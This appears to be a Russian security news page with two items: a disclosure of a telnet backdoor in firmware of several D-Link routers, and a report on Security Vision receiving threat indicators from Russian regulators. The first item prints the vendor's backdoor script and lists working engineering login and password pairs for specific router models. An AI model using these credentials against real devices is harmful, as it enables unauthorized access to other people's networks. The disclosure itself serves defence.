В прошивках ряда устройств D-Link обнаружен бэкдор

В прошивках ряда устройств D-Link обнаружен бэкдор

Немецкий разработчик, известный рядом исследований, касающихся безопасности сетевых устройств, обнаружил в ряде моделей беспроводных маршрутизаторов D-Link бэкдор, организующий административный вход на устройства с инженерным паролем. Исследователь упоминает о том, что проблема присутствует как минимум на устройствах DIR-300revA, DIR-300revB, DIR-600revB, однако возможно, что этот список неполный.

Код запуска демона telnet на проблемных устройствах выглядит так (содержимое /rootfs/etc/scripts/misc/telnetd.sh):

#!/bin/sh
image_sign='cat /etc/config/image_sign'
TELNETD='rgdb -g /sys/telnetd'
if [ "$TELNETD" = "true" ]; then
echo "Start telnetd ..." > /dev/console
if [ -f "/usr/sbin/login" ]; then
lf='rgdb -i -g /runtime/layout/lanif'
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
else
telnetd &
fi
fi


Из этого кода становится очевидно, что на устройство кто угодно может подключиться телнетом, используя стандартные инженерные логин (Alphanetworks) и пароль (содержимое файла /etc/config/image_sign). Поиск в интернете показал, что данные инженерные пароли уже стали широко известными и не являются каким-то особым секретом. Imagesig - внутреннее обозначение образа прошивки для данной модели устройств.

Наиболее очевидные сочетания логинов и паролей обнаруженные исследователем:

Alphanetworks wrgg19_c_dlwbr_dir300
Alphanetworks wrgn49_dlob_dir600b
Alphanetworks wrgn23_dlwbr_dir600b
Alphanetworks wrgn22_dlwbr_dir615
Alphanetworks wrgnd08_dlob_dir815
Alphanetworks wrgg15_di524
Alphanetworks wrgn39_dlob.hans_dir645

Security Vision теперь получает данные об угрозах от НКЦКИ, ФСТЭК и ФинЦЕРТ

Security Vision начала получать данные об актуальных киберугрозах напрямую от ключевых российских регуляторов — НКЦКИ, ФСТЭК России и ФинЦЕРТ Банка России. Речь идёт об обмене технической информацией, которая используется для раннего выявления и анализа киберинцидентов.

В аналитический центр компании поступают индикаторы компрометации: хэши подозрительных файлов, их имена и расположение, IP-адреса, DNS-имена, URL потенциально опасных ресурсов и другие данные, указывающие на активные или готовящиеся атаки. Эти сведения могут касаться как отдельных отраслей, так и российских организаций в целом.

Полученная информация оперативно обрабатывается и включается в ежедневные обновления для продуктов Security Vision NG SOAR, Security Vision SIEM и Security Vision TIP. Обновления содержат правила корреляции и механизмы детектирования активности, связанной с выявленными угрозами. В совокупности набор регулярно обновляемых фидов платформы сейчас насчитывает более 50 тысяч индикаторов компрометации.

Для работы с таким объёмом данных в продуктах Security Vision активно применяются технологии искусственного интеллекта. Они используются для поиска аномалий, выявления скрытых атак, приоритизации и оценки инцидентов, а также для подбора сценариев реагирования. Кроме того, ИИ задействован в автоматической обработке бюллетеней безопасности, оценке критичности уязвимостей, прогнозировании развития атак и формировании отчётов. В системе также есть ИИ-помощник, который помогает разбирать конкретные инциденты и отвечает на общие вопросы по ИБ.

В компании отмечают, что получение данных от НКЦКИ, ФСТЭК и ФинЦЕРТ позволяет пользователям быстрее узнавать о наиболее критичных угрозах и реагировать на них на ранних этапах, снижая вероятность развития атак.

Интеграция с регуляторами также усиливает роль Security Vision в национальной системе кибербезопасности. Платформа включена в реестр ГосСОПКА как средство ликвидации последствий компьютерных инцидентов, что позволяет использовать её в центрах ГосСОПКА и на объектах критической информационной инфраструктуры.

Как отметил генеральный директор Security Vision Руслан Рахметов, оперативное получение и интеллектуальный разбор данных от регуляторов помогают организациям быстрее выявлять актуальные векторы атак и своевременно снижать риски.

Отдельно в компании подчёркивают гибкость своих решений: продукты построены на платформенном подходе с Low-Code / No-Code-конструкторами и поддерживают работу с фидами от разных поставщиков без жёсткой привязки к конкретным вендорам. Это позволяет комбинировать источники данных и настраивать интеграции под конкретные задачи и инфраструктуру.

RSS: Новости на портале Anti-Malware.ru